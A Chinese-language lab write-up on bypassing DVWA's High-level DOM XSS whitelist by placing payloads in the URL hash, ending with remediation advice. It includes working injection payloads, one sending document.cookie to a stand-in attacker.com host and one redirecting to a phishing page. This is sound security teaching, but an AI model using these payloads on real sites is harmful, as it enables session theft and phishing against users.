DOM XSS漏洞详解DVWA High

文章目录

    • [一、High 级别防护分析](#一、High 级别防护分析)
      • [1.1 PHP 层防护代码](#1.1 PHP 层防护代码)
      • [1.2 防护机制](#1.2 防护机制)
      • [1.3 防护缺陷](#1.3 防护缺陷)
    • 二、客户端代码分析
    • 三、攻击原理
      • [3.1 URL Hash 特性](#3.1 URL Hash 特性)
      • [3.2 攻击思路](#3.2 攻击思路)
      • [3.3 为什么 Hash 能绕过](#3.3 为什么 Hash 能绕过)
    • 四、攻击过程
      • [4.1 成功 Payload](#4.1 成功 Payload)
      • [4.2 Payload 分解](#4.2 Payload 分解)
      • [4.3 执行流程](#4.3 执行流程)
    • [五、更多 High 级别 Payload](#五、更多 High 级别 Payload)
      • [5.1 基础弹窗](#5.1 基础弹窗)
      • [5.2 窃取 Cookie](#5.2 窃取 Cookie)
      • [5.3 重定向攻击](#5.3 重定向攻击)
      • [5.4 使用 `<svg>` 标签](#5.4 使用 <svg> 标签)
    • [六、Low vs Medium vs High 对比](#六、Low vs Medium vs High 对比)
    • 七、漏洞修复建议
      • [7.1 修复客户端代码(根本修复)](#7.1 修复客户端代码(根本修复))
      • [7.2 使用安全的 DOM API](#7.2 使用安全的 DOM API)
      • [7.3 PHP 层增强](#7.3 PHP 层增强)
    • 八、总结
      • [8.1 High 级别防护的缺陷](#8.1 High 级别防护的缺陷)
      • [8.2 攻击要点](#8.2 攻击要点)
      • [8.3 安全启示](#8.3 安全启示)
      • [8.4 为什么 High 级别仍然有漏洞](#8.4 为什么 High 级别仍然有漏洞)

一、High 级别防护分析

1.1 PHP 层防护代码

php 复制代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null( $_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

1.2 防护机制

防护点 说明
防护方式 白名单验证
允许值 English, French, German, Spanish
防护措施 不在白名单中则重定向到 ?default=English

1.3 防护缺陷

  1. 只检查 $_GET['default'] --- 即 URL 参数部分(? 后面)
  2. URL hash (# 后面的内容) 不会发送到服务器 --- PHP 无法检查 hash 部分
  3. 客户端 JavaScript 代码未修改 --- 仍然从完整 URL (document.location.href) 读取参数

二、客户端代码分析

High 级别的客户端 JavaScript 代码与 Low/Medium 级别完全相同

javascript 复制代码
if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}
    
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

关键问题

  • document.location.href 包含 完整的 URL ,包括 hash (#) 部分
  • 代码从 URL 中查找 default= 并提取其后的所有内容
  • hash 部分不会发送到服务器,但客户端 JS 可以读取

三、攻击原理

3.1 URL Hash 特性

部分 是否发送到服务器 客户端 JS 可读取
?default=English
#payload

3.2 攻击思路

复制代码
URL: http://target.com/xss_d/?default=English#<恶意payload>
                              ↓
服务器接收: GET /xss_d/?default=English
                              ↓
PHP 检查: $_GET['default'] = "English" → 在白名单中 → 通过
                              ↓
浏览器加载页面,JS 执行:
document.location.href = "http://target.com/xss_d/?default=English#<恶意payload>"
                              ↓
JS 提取: lang = "English#<恶意payload>"
                              ↓
document.write 执行: 恶意 payload 被写入 HTML
                              ↓
XSS 攻击成功

3.3 为什么 Hash 能绕过

  1. HTTP 协议规定:浏览器发送 HTTP 请求时,不会将 URL hash 部分发送到服务器
  2. PHP 只能看到 $_GET['default'] = "English",看不到 hash 部分
  3. 客户端 JS 能看到 完整 URL,包括 hash 部分
  4. 代码逻辑document.location.href.indexOf("default=") 会匹配到 ?default=English,然后 substring 会提取 English#<恶意payload>

四、攻击过程

4.1 成功 Payload

复制代码
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#</option></select><img src=x onerror=alert('XSS_High')>

URL 编码后 (hash 部分需要编码,= 不编码):

复制代码
http://192.168.0.107/DVWA/vulnerabilities/xss_d/?default=English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert(%27XSS_High%27)%3E

4.2 Payload 分解

部分 作用 是否编码
?default=English 通过 PHP 白名单验证
# Hash 分隔符,后面的内容不发送到服务器
%3C/option%3E 闭合 <option> 标签
%3C/select%3E 闭合 <select> 标签
%3Cimg%20src=x 注入图片标签
onerror=alert('XSS_High') 事件处理器,= 不编码 部分
%3E 闭合 <img> 标签

4.3 执行流程

复制代码
1. 浏览器请求: GET /DVWA/vulnerabilities/xss_d/?default=English
   (hash 部分不发送)

2. PHP 检查: $_GET['default'] = "English" → 在白名单中 → 允许通过

3. 页面加载,JS 执行:
   document.location.href = "...xss_d/?default=English#%3C/option%3E..."

4. JS 提取:
   lang = "English#%3C/option%3E%3C/select%3E%3Cimg%20src=x%20onerror=alert('XSS_High')%3E"

5. decodeURI(lang) = "English#</option></select><img src=x onerror=alert('XSS_High')>"

6. document.write 写入:
   <option value='English#...'>English#</option></select><img src=x onerror=alert('XSS_High')></option>

7. 浏览器解析:
   - <option value='English#...'> --- option 开始
   - English# --- text 内容
   - </option> --- 闭合 option
   - </select> --- 闭合 select
   - <img src=x onerror=alert('XSS_High')> --- 渲染并触发 onerror 事件

8. XSS 攻击成功

五、更多 High 级别 Payload

5.1 基础弹窗

复制代码
?default=English#</option></select><img src=x onerror=alert('XSS_High')>
复制代码
?default=English#</option></select><img src=x onerror=window.location='http://attacker.com/?c='+document.cookie>

5.3 重定向攻击

复制代码
?default=English#</option></select><img src=x onerror=window.location='http://phishing.com'>

5.4 使用 <svg> 标签

复制代码
?default=English#</option></select><svg onload=alert('XSS_High')>

六、Low vs Medium vs High 对比

特性 Low Medium High
PHP 层防护 黑名单 <script 白名单验证
客户端代码 未修改 未修改 未修改
攻击难度 简单 中等 较难
绕过方法 直接注入 HTML 事件处理器 URL Hash
关键技巧 = 不编码 # 不发送到服务器

七、漏洞修复建议

7.1 修复客户端代码(根本修复)

javascript 复制代码
// 方法 1: 只读取 URL 参数,不包括 hash
const urlParams = new URLSearchParams(window.location.search);
const lang = urlParams.get('default');

// 方法 2: 白名单验证
const allowed = ['English', 'French', 'Spanish', 'German'];
if (allowed.includes(lang)) {
    const option = document.createElement('option');
    option.value = lang;
    option.textContent = lang;
    select.appendChild(option);
}

7.2 使用安全的 DOM API

javascript 复制代码
// 避免 document.write,使用安全的 DOM 操作
const select = document.querySelector('select[name="default"]');
const allowed = ['English', 'French', 'Spanish', 'German'];

if (allowed.includes(lang)) {
    const option = document.createElement('option');
    option.value = lang;
    option.textContent = lang;  // textContent 自动转义
    select.appendChild(option);
}

7.3 PHP 层增强

php 复制代码
// 检查完整 URL,包括可能的 hash 注入(虽然 PHP 看不到 hash)
// 但可以在输出时进行 HTML 编码
$default = htmlspecialchars($_GET['default'], ENT_QUOTES, 'UTF-8');

八、总结

8.1 High 级别防护的缺陷

缺陷 说明
只防护服务器端 PHP 白名单只检查 $_GET 参数
忽略客户端漏洞 客户端 JS 代码未修改,仍然有漏洞
URL Hash 盲区 Hash 部分不发送到服务器,但客户端 JS 可以读取

8.2 攻击要点

要点 说明
利用 URL Hash # 后面的内容不发送到服务器
绕过 PHP 白名单 ?default=English 通过白名单
客户端 JS 漏洞 document.location.href 包含完整 URL
跳出 select 上下文 </option></select> 闭合标签
= 不编码 确保浏览器正确解析事件处理器

8.3 安全启示

  1. 客户端和服务器端都需要防护 --- 只防护一端是不够的
  2. URL Hash 不是安全的 --- 客户端 JS 可以读取 hash 部分
  3. 白名单必须完整 --- 不仅要验证服务器端参数,还要验证客户端数据源
  4. 避免 document.write --- 使用安全的 DOM API
  5. 纵深防御 --- 多层防护比单层防护更可靠

8.4 为什么 High 级别仍然有漏洞

High 级别的开发者犯了一个常见错误:只修复了服务器端,忽略了客户端

  • PHP 白名单阻止了恶意参数值
  • 但客户端 JS 仍然从完整 URL 读取数据
  • URL hash 部分绕过了 PHP 检查
  • 客户端 JS 将 hash 内容写入 DOM

根本原因 :客户端 JS 代码没有修改,仍然使用不安全的 document.location.hrefdocument.write